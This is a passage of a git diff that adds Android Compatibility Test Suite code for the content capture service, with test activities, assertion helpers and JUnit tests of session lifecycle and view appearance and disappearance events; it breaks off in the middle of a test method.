+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.ViewGroup;
+import android.widget.LinearLayout;
+
+import androidx.annotation.NonNull;
+
+import com.android.compatibility.common.util.DoubleVisitor;
+
+/**
+ * Base class for classes that have a {@code root_view} root view.
+ */
+abstract class AbstractRootViewActivity extends AbstractContentCaptureActivity {
+
+    private static final String TAG = AbstractRootViewActivity.class.getSimpleName();
+
+    private static DoubleVisitor<AbstractRootViewActivity, LinearLayout> sRootViewVisitor;
+    private static DoubleVisitor<AbstractRootViewActivity, LinearLayout> sOnAnimationVisitor;
+
+    private LinearLayout mRootView;
+
+    /**
+     * Sets a visitor called when the activity is created.
+     */
+    static void onRootView(@NonNull DoubleVisitor<AbstractRootViewActivity, LinearLayout> visitor) {
+        sRootViewVisitor = visitor;
+    }
+
+    /**
+     * Sets a visitor to be called on {@link Activity#onEnterAnimationComplete()}.
+     */
+    static void onAnimationComplete(
+            @NonNull DoubleVisitor<AbstractRootViewActivity, LinearLayout> visitor) {
+        sOnAnimationVisitor = visitor;
+    }
+
+    @Override
+    protected final void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentViewOnCreate(savedInstanceState);
+
+        mRootView = findViewById(R.id.root_view);
+
+        Log.d(TAG, "onCreate(): parents for " + getClass() + ": rootView=" + mRootView
+                + "\ngrandParent=" + getGrandParent()
+                + "\ngrandGrandParent=" + getGrandGrandParent());
+
+        if (sRootViewVisitor != null) {
+            Log.d(TAG, "Applying visitor to " + this + "/" + mRootView);
+            try {
+                sRootViewVisitor.visit(this, mRootView);
+            } finally {
+                sRootViewVisitor = null;
+            }
+        }
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        Log.d(TAG, "AutofillIds for " + getClass() + ": "
+                + " rootView=" + getRootView().getAutofillId()
+                + ", grandParent=" + getGrandParent().getAutofillId()
+                + ", grandGrandParent=" + getGrandGrandParent().getAutofillId());
+    }
+
+    @Override
+    public void onEnterAnimationComplete() {
+        if (sOnAnimationVisitor != null) {
+            Log.i(TAG, "onEnterAnimationComplete(): applying visitor on " + this);
+            try {
+                sOnAnimationVisitor.visit(this, mRootView);
+            } finally {
+                sOnAnimationVisitor = null;
+            }
+        } else {
+            Log.i(TAG, "onEnterAnimationComplete(): no visitor on " + this);
+        }
+    }
+
+    public LinearLayout getRootView() {
+        return mRootView;
+    }
+
+    // TODO(b/122315042): remove this method when not needed anymore
+    @NonNull
+    public ViewGroup getGrandParent() {
+        return (ViewGroup) mRootView.getParent();
+    }
+
+    // TODO(b/122315042): remove this method when not needed anymore
+    @NonNull
+    public ViewGroup getGrandGrandParent() {
+        return (ViewGroup) getGrandParent().getParent();
+    }
+
+    /**
+     * The real "onCreate" method that should be extended by subclasses.
+     *
+     */
+    protected abstract void setContentViewOnCreate(Bundle savedInstanceState);
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
index 5203460..0f7e298 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
@@ -226,6 +226,22 @@
         assertSessionId(expectedSessionId, expectedView);
     }
 
+    /**
+     * Asserts the contents of a {@link #TYPE_VIEW_TREE_APPEARING} event.
+     */
+    public static void assertViewTreeStarted(@NonNull List<ContentCaptureEvent> events,
+            int index) {
+        assertSessionLevelEvent(events, index, TYPE_VIEW_TREE_APPEARING);
+    }
+
+    /**
+     * Asserts the contents of a {@link #TYPE_VIEW_TREE_APPEARED} event.
+     */
+    public static void assertViewTreeFinished(@NonNull List<ContentCaptureEvent> events,
+            int index) {
+        assertSessionLevelEvent(events, index, TYPE_VIEW_TREE_APPEARED);
+    }
+
     private static void assertSessionLevelEvent(@NonNull List<ContentCaptureEvent> events,
             int index, int expectedType) {
         final ContentCaptureEvent event = getEvent(events, index, expectedType);
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/src/com/android/cts/nolaunchableactivityapp/EmptyService.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivity.java
similarity index 60%
copy from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/src/com/android/cts/nolaunchableactivityapp/EmptyService.java
copy to tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivity.java
index 6cd0da6..ae9134f 100644
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/src/com/android/cts/nolaunchableactivityapp/EmptyService.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivity.java
@@ -13,20 +13,18 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
-package com.android.cts.nolaunchableactivityapp;
+package android.contentcaptureservice.cts;
 
-import android.app.Service;
-import android.content.Intent;
-import android.os.IBinder;
+import static android.contentcaptureservice.cts.Assertions.assertNoViewLevelEvents;
 
-public class EmptyService extends Service {
-    public EmptyService() {
-    }
+import android.contentcaptureservice.cts.CtsContentCaptureService.Session;
+
+import androidx.annotation.NonNull;
+
+public class BlankActivity extends AbstractContentCaptureActivity {
 
     @Override
-    public IBinder onBind(Intent intent) {
-        // do nothing, just here for the app to have some code
-        throw new UnsupportedOperationException("Not yet implemented");
+    public void assertDefaultEvents(@NonNull Session session) {
+        assertNoViewLevelEvents(session, this);
     }
 }
-
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivityTest.java
new file mode 100644
index 0000000..6775d56
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivityTest.java
@@ -0,0 +1,164 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import static android.contentcaptureservice.cts.CtsContentCaptureService.CONTENT_CAPTURE_SERVICE_COMPONENT_NAME;
+import static android.contentcaptureservice.cts.Helper.resetService;
+
+import static com.android.compatibility.common.util.ActivitiesWatcher.ActivityLifecycle.DESTROYED;
+import static com.android.compatibility.common.util.ActivitiesWatcher.ActivityLifecycle.RESUMED;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ComponentName;
+import android.contentcaptureservice.cts.CtsContentCaptureService.Session;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.ActivitiesWatcher.ActivityWatcher;
+
+import org.junit.Test;
+
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicReference;
+
+@AppModeFull(reason = "BlankWithTitleActivityTest is enough")
+public class BlankActivityTest
+        extends AbstractContentCaptureIntegrationAutoActivityLaunchTest<BlankActivity> {
+
+    private static final String TAG = BlankActivityTest.class.getSimpleName();
+
+    private static final ActivityTestRule<BlankActivity> sActivityRule = new ActivityTestRule<>(
+            BlankActivity.class, false, false);
+
+    public BlankActivityTest() {
+        super(BlankActivity.class);
+    }
+
+    @Override
+    protected ActivityTestRule<BlankActivity> getActivityTestRule() {
+        return sActivityRule;
+    }
+
+    @Test
+    public void testSimpleSessionLifecycle() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final BlankActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        Log.v(TAG, "session id: " + session.id);
+
+        activity.assertDefaultEvents(session);
+    }
+
+    @Test
+    public void testGetServiceComponentName() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        service.waitUntilConnected();
+
+        final ActivityWatcher watcher = startWatcher();
+
+        final BlankActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        try {
+            assertThat(activity.getContentCaptureManager().getServiceComponentName())
+                    .isEqualTo(CONTENT_CAPTURE_SERVICE_COMPONENT_NAME);
+
+            resetService();
+            service.waitUntilDisconnected();
+
+            assertThat(activity.getContentCaptureManager().getServiceComponentName())
+                    .isNotEqualTo(CONTENT_CAPTURE_SERVICE_COMPONENT_NAME);
+        } finally {
+            activity.finish();
+            watcher.waitFor(DESTROYED);
+        }
+    }
+
+    @Test
+    public void testGetServiceComponentName_onUiThread() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        service.waitUntilConnected();
+
+        final ActivityWatcher watcher = startWatcher();
+
+        final BlankActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        final AtomicReference<ComponentName> ref = new AtomicReference<>();
+        activity.syncRunOnUiThread(
+                () -> ref.set(activity.getContentCaptureManager().getServiceComponentName()));
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        assertThat(ref.get()).isEqualTo(CONTENT_CAPTURE_SERVICE_COMPONENT_NAME);
+    }
+
+    @Test
+    public void testIsContentCaptureFeatureEnabled_onUiThread() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        service.waitUntilConnected();
+
+        final ActivityWatcher watcher = startWatcher();
+
+        final BlankActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        final AtomicBoolean ref = new AtomicBoolean();
+        activity.syncRunOnUiThread(() -> ref
+                .set(activity.getContentCaptureManager().isContentCaptureFeatureEnabled()));
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        assertThat(ref.get()).isTrue();
+    }
+
+    @Test
+    public void testDisableContentCaptureService_onUiThread() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        service.waitUntilConnected();
+
+        final ActivityWatcher watcher = startWatcher();
+
+        final BlankActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        service.disableSelf();
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+    }
+
+    @Test
+    public void testOnConnectionEvents() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        service.waitUntilConnected();
+
+        resetService();
+        service.waitUntilDisconnected();
+    }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankWithTitleActivity.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankWithTitleActivity.java
new file mode 100644
index 0000000..81198f7
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankWithTitleActivity.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import static android.contentcaptureservice.cts.Assertions.assertDecorViewAppeared;
+import static android.contentcaptureservice.cts.Assertions.assertRightActivity;
+import static android.contentcaptureservice.cts.Assertions.assertSessionPaused;
+import static android.contentcaptureservice.cts.Assertions.assertSessionResumed;
+import static android.contentcaptureservice.cts.Assertions.assertViewAppeared;
+import static android.contentcaptureservice.cts.Assertions.assertViewTreeFinished;
+import static android.contentcaptureservice.cts.Assertions.assertViewTreeStarted;
+import static android.contentcaptureservice.cts.Assertions.assertViewsOptionallyDisappeared;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.contentcaptureservice.cts.CtsContentCaptureService.Session;
+import android.util.Log;
+import android.view.View;
+import android.view.contentcapture.ContentCaptureEvent;
+import android.view.contentcapture.ContentCaptureSessionId;
+import android.view.contentcapture.ViewNode;
+
+import androidx.annotation.NonNull;
+
+import java.util.List;
+
+public class BlankWithTitleActivity extends AbstractContentCaptureActivity {
+
+    private static final String TAG = BlankWithTitleActivity.class.getSimpleName();
+
+    @Override
+    public void assertDefaultEvents(@NonNull Session session) {
+        final ContentCaptureSessionId sessionId = session.id;
+        assertRightActivity(session, sessionId, this);
+
+        final View decorView = getDecorView();
+
+        final List<ContentCaptureEvent> events = session.getEvents();
+        Log.v(TAG, "events(" + events.size() + "): " + events);
+
+        final int minEvents = 9; // TODO(b/122315042): disappeared not always sent
+        assertThat(events.size()).isAtLeast(minEvents);
+
+        assertSessionResumed(events, 0);
+        assertViewTreeStarted(events, 1);
+        assertDecorViewAppeared(events, 2, decorView);
+        // TODO(b/123540067): ignoring 3 intermediate parents
+        final ViewNode title = assertViewAppeared(events, 6).getViewNode();
+        assertThat(title.getText()).isEqualTo("Blanka");
+        assertViewTreeFinished(events, 7);
+        assertSessionPaused(events, 8);
+        if (false) { // TODO(b/123540067): disabled because it includes the parent
+            assertViewsOptionallyDisappeared(events, minEvents, decorView.getAutofillId(),
+                    title.getAutofillId());
+        }
+    }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankWithTitleActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankWithTitleActivityTest.java
new file mode 100644
index 0000000..c36e036
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankWithTitleActivityTest.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import static com.android.compatibility.common.util.ActivitiesWatcher.ActivityLifecycle.DESTROYED;
+import static com.android.compatibility.common.util.ActivitiesWatcher.ActivityLifecycle.RESUMED;
+
+import android.content.Intent;
+import android.contentcaptureservice.cts.CtsContentCaptureService.Session;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.ActivitiesWatcher.ActivityWatcher;
+
+import org.junit.Test;
+
+public class BlankWithTitleActivityTest
+        extends AbstractContentCaptureIntegrationAutoActivityLaunchTest<BlankWithTitleActivity> {
+
+    private static final String TAG = BlankWithTitleActivityTest.class.getSimpleName();
+
+    private static final ActivityTestRule<BlankWithTitleActivity> sActivityRule =
+            new ActivityTestRule<>(BlankWithTitleActivity.class, false, false);
+
+    public BlankWithTitleActivityTest() {
+        super(BlankWithTitleActivity.class);
+    }
+
+    @Override
+    protected ActivityTestRule<BlankWithTitleActivity> getActivityTestRule() {
+        return sActivityRule;
+    }
+
+    @Test
+    public void testSimpleSessionLifecycle() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final BlankWithTitleActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        Log.v(TAG, "session id: " + session.id);
+
+        activity.assertDefaultEvents(session);
+    }
+
+    @AppModeFull(reason = "testSimpleSessionLifecycle() is enough")
+    @Test
+    public void testSimpleSessionLifecycle_noAnimation() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final BlankWithTitleActivity activity = launchActivity(
+                (intent) -> intent.addFlags(
+                        Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NEW_TASK));
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        Log.v(TAG, "session id: " + session.id);
+
+        activity.assertDefaultEvents(session);
+    }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivity.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivity.java
new file mode 100644
index 0000000..be6fd85
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import static android.contentcaptureservice.cts.Assertions.assertNoViewLevelEvents;
+
+import android.contentcaptureservice.cts.CtsContentCaptureService.Session;
+import android.os.Bundle;
+
+import androidx.annotation.NonNull;
+
+public class ChildlessActivity extends AbstractRootViewActivity {
+
+    @Override
+    protected void setContentViewOnCreate(Bundle savedInstanceState) {
+        setContentView(R.layout.childless_activity);
+    }
+
+    @Override
+    public void assertDefaultEvents(@NonNull Session session) {
+        // Should be empty because the root view is not important for content capture without a
+        // child that is important.
+        assertNoViewLevelEvents(session, this);
+    }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
new file mode 100644
index 0000000..9f453b8
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
@@ -0,0 +1,1261 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import static android.contentcaptureservice.cts.Assertions.LifecycleOrder.CREATION;
+import static android.contentcaptureservice.cts.Assertions.LifecycleOrder.DESTRUCTION;
+import static android.contentcaptureservice.cts.Assertions.assertChildSessionContext;
+import static android.contentcaptureservice.cts.Assertions.assertDecorViewAppeared;
+import static android.contentcaptureservice.cts.Assertions.assertLifecycleOrder;
+import static android.contentcaptureservice.cts.Assertions.assertMainSessionContext;
+import static android.contentcaptureservice.cts.Assertions.assertNoViewLevelEvents;
+import static android.contentcaptureservice.cts.Assertions.assertRightActivity;
+import static android.contentcaptureservice.cts.Assertions.assertSessionPaused;
+import static android.contentcaptureservice.cts.Assertions.assertSessionResumed;
+import static android.contentcaptureservice.cts.Assertions.assertViewAppeared;
+import static android.contentcaptureservice.cts.Assertions.assertViewDisappeared;
+import static android.contentcaptureservice.cts.Assertions.assertViewTreeFinished;
+import static android.contentcaptureservice.cts.Assertions.assertViewTreeStarted;
+import static android.contentcaptureservice.cts.Assertions.assertViewsDisappeared;
+import static android.contentcaptureservice.cts.Helper.newImportantView;
+import static android.contentcaptureservice.cts.Helper.sContext;
+
+import static com.android.compatibility.common.util.ActivitiesWatcher.ActivityLifecycle.DESTROYED;
+import static com.android.compatibility.common.util.ActivitiesWatcher.ActivityLifecycle.RESUMED;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.ComponentName;
+import android.content.LocusId;
+import android.contentcaptureservice.cts.CtsContentCaptureService.DisconnectListener;
+import android.contentcaptureservice.cts.CtsContentCaptureService.ServiceWatcher;
+import android.contentcaptureservice.cts.CtsContentCaptureService.Session;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.view.contentcapture.ContentCaptureContext;
+import android.view.contentcapture.ContentCaptureEvent;
+import android.view.contentcapture.ContentCaptureManager;
+import android.view.contentcapture.ContentCaptureSession;
+import android.view.contentcapture.ContentCaptureSessionId;
+import android.widget.LinearLayout;
+import android.widget.TextView;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.ActivitiesWatcher.ActivityWatcher;
+import com.android.compatibility.common.util.ActivityLauncher;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.atomic.AtomicReference;
+
+@AppModeFull(reason = "BlankWithTitleActivityTest is enough")
+public class ChildlessActivityTest
+        extends AbstractContentCaptureIntegrationAutoActivityLaunchTest<ChildlessActivity> {
+
+    private static final String TAG = ChildlessActivityTest.class.getSimpleName();
+
+    private static final ActivityTestRule<ChildlessActivity> sActivityRule = new ActivityTestRule<>(
+            ChildlessActivity.class, false, false);
+
+    public ChildlessActivityTest() {
+        super(ChildlessActivity.class);
+    }
+
+    @Override
+    protected ActivityTestRule<ChildlessActivity> getActivityTestRule() {
+        return sActivityRule;
+    }
+
+    @Before
+    @After
+    public void resetActivityStaticState() {
+        ChildlessActivity.onRootView(null);
+    }
+
+    @Test
+    public void testDefaultLifecycle() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final ChildlessActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        Log.v(TAG, "session id: " + session.id);
+
+        activity.assertDefaultEvents(session);
+    }
+
+    @Test
+    public void testGetContentCapture_disabledWhenNoService() throws Exception {
+        final ActivityWatcher watcher = startWatcher();
+
+        final ChildlessActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        assertThat(activity.getContentCaptureManager().isContentCaptureEnabled()).isFalse();
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+    }
+
+    @Test
+    public void testGetContentCapture_enabledWhenNoService() throws Exception {
+        enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final ChildlessActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        assertThat(activity.getContentCaptureManager().isContentCaptureEnabled()).isTrue();
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+    }
+
+    @Test
+    public void testLaunchAnotherActivity() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher1 = startWatcher();
+
+        // Launch and finish 1st activity
+        final ChildlessActivity activity1 = launchActivity();
+        watcher1.waitFor(RESUMED);
+        activity1.finish();
+        watcher1.waitFor(DESTROYED);
+
+        // Launch and finish 2nd activity
+        final ActivityLauncher<LoginActivity> anotherActivityLauncher = new ActivityLauncher<>(
+                sContext, mActivitiesWatcher, LoginActivity.class);
+        final ActivityWatcher watcher2 = anotherActivityLauncher.getWatcher();
+        final LoginActivity activity2 = anotherActivityLauncher.launchActivity();
+        watcher2.waitFor(RESUMED);
+        activity2.finish();
+        watcher2.waitFor(DESTROYED);
+
+        // Assert the sessions
+        final List<ContentCaptureSessionId> sessionIds = service.getAllSessionIds();
+        assertThat(sessionIds).hasSize(2);
+        final ContentCaptureSessionId sessionId1 = sessionIds.get(0);
+        Log.v(TAG, "session id1: " + sessionId1);
+        final ContentCaptureSessionId sessionId2 = sessionIds.get(1);
+        Log.v(TAG, "session id2: " + sessionId2);
+
+        final Session session1 = service.getFinishedSession(sessionId1);
+        activity1.assertDefaultEvents(session1);
+
+        final Session session2 = service.getFinishedSession(sessionId2);
+        activity2.assertDefaultEvents(session2);
+    }
+
+
+    @Test
+    public void testLaunchAnotherActivity_onTopOfIt() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher1 = startWatcher();
+
+        // Launch 1st activity
+        final ChildlessActivity activity1 = launchActivity();
+        watcher1.waitFor(RESUMED);
+
+        // Launch and finish 2nd activity
+        final ActivityLauncher<LoginActivity> anotherActivityLauncher = new ActivityLauncher<>(
+                sContext, mActivitiesWatcher, LoginActivity.class);
+        final ActivityWatcher watcher2 = anotherActivityLauncher.getWatcher();
+        final LoginActivity activity2 = anotherActivityLauncher.launchActivity();
+
+        watcher2.waitFor(RESUMED);
+        activity2.finish();
+        watcher2.waitFor(DESTROYED);
+
+        // Finish 1st activity
+        activity1.finish();
+        watcher1.waitFor(DESTROYED);
+
+        // Assert the activity lifecycle events
+        final ComponentName name1 = activity1.getComponentName();
+        final ComponentName name2 = activity2.getComponentName();
+        service.assertThat()
+            .activityResumed(name1)
+            .activityPaused(name1)
+            .activityResumed(name2)
+            .activityStopped(name1)
+            .activityPaused(name2)
+            .activityResumed(name1)
+            .activityDestroyed(name2)
+            .activityPaused(name1);
+
+        // Assert the sessions
+        final List<ContentCaptureSessionId> sessionIds = service.getAllSessionIds();
+        assertThat(sessionIds).hasSize(2);
+        final ContentCaptureSessionId sessionId1 = sessionIds.get(0);
+        Log.v(TAG, "session id1: " + sessionId1);
+        final ContentCaptureSessionId sessionId2 = sessionIds.get(1);
+        Log.v(TAG, "session id2: " + sessionId2);
+
+        final Session session1 = service.getFinishedSession(sessionId1);
+        final List<ContentCaptureEvent> events1 = session1.getEvents();
+        Log.v(TAG, "events on " + activity1 + ": " + events1);
+        assertThat(events1).hasSize(4);
+        assertSessionResumed(events1, 0);
+        assertSessionPaused(events1, 1);
+        assertSessionResumed(events1, 2);
+        assertSessionPaused(events1, 3);
+
+        final Session session2 = service.getFinishedSession(sessionId2);
+        activity2.assertDefaultEvents(session2);
+
+    }
+
+    @Test
+    public void testAddAndRemoveNoImportantChild() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        // Child must be created inside the lambda because it needs to use the Activity context.
+        final AtomicReference<TextView> childRef = new AtomicReference<>();
+
+        ChildlessActivity.onRootView((activity, rootView) -> {
+            final TextView child = new TextView(activity);
+            child.setText("VIEW, Y U NO IMPORTANT?");
+            child.setImportantForContentCapture(View.IMPORTANT_FOR_CONTENT_CAPTURE_NO);
+
+            rootView.addView(child);
+        });
+
+        final ChildlessActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        // Remove view
+        final TextView child = childRef.get();
+        activity.syncRunOnUiThread(() -> activity.getRootView().removeView(child));
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        final ContentCaptureSessionId sessionId = session.id;
+        Log.v(TAG, "session id: " + sessionId);
+
+        assertRightActivity(session, sessionId, activity);
+
+        // Should be empty because the root view is not important for content capture without a
+        // child that is important.
+        assertNoViewLevelEvents(session, activity);
+    }
+
+    @Test
+    public void testAddAndRemoveImportantChild() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        // TODO(b/120494182): Child must be created inside the lambda because it needs to use the
+        // Activity context.
+        final AtomicReference<TextView> childRef = new AtomicReference<>();
+
+        ChildlessActivity.onRootView((activity, rootView) -> {
+            final TextView text = newImportantView(activity, "Important I am");
+            rootView.addView(text);
+            childRef.set(text);
+        });
+
+        final ChildlessActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        // Remove view
+        final LinearLayout rootView = activity.getRootView();
+        final TextView child = childRef.get();
+        activity.syncRunOnUiThread(() -> rootView.removeView(child));
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        final ContentCaptureSessionId sessionId = session.id;
+        Log.v(TAG, "session id: " + sessionId);
+
+        assertRightActivity(session, sessionId, activity);
+
+        final List<ContentCaptureEvent> events = session.getEvents();
+        Log.v(TAG, "events(" + events.size() + "): " + events);
+
+        final AutofillId rootId = rootView.getAutofillId();
+
+        final View grandpa1 = activity.getGrandParent();
+        final View grandpa2 = activity.getGrandGrandParent();
+        final View decorView = activity.getDecorView();
+
+        // Assert just the relevant events
+        assertThat(events.size()).isAtLeast(12);
+        assertSessionResumed(events, 0);
+        assertViewTreeStarted(events, 1);
+        assertDecorViewAppeared(events, 2, decorView);
+        assertViewAppeared(events, 3, grandpa2, decorView.getAutofillId());
+        assertViewAppeared(events, 4, grandpa1, grandpa2.getAutofillId());
+        assertViewAppeared(events, 5, sessionId, rootView, grandpa1.getAutofillId());
+        assertViewAppeared(events, 6, sessionId, child, rootId);
+        assertViewTreeFinished(events, 7);
+        assertViewTreeStarted(events, 8);
+        assertViewDisappeared(events, 9, child.getAutofillId());
+        assertViewTreeFinished(events, 10);
+        assertSessionPaused(events, 11);
+
+        // TODO(b/122315042): assert parents disappeared
+    }
+
+    @Test
+    public void testAddImportantChildAfterSessionStarted() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final ChildlessActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
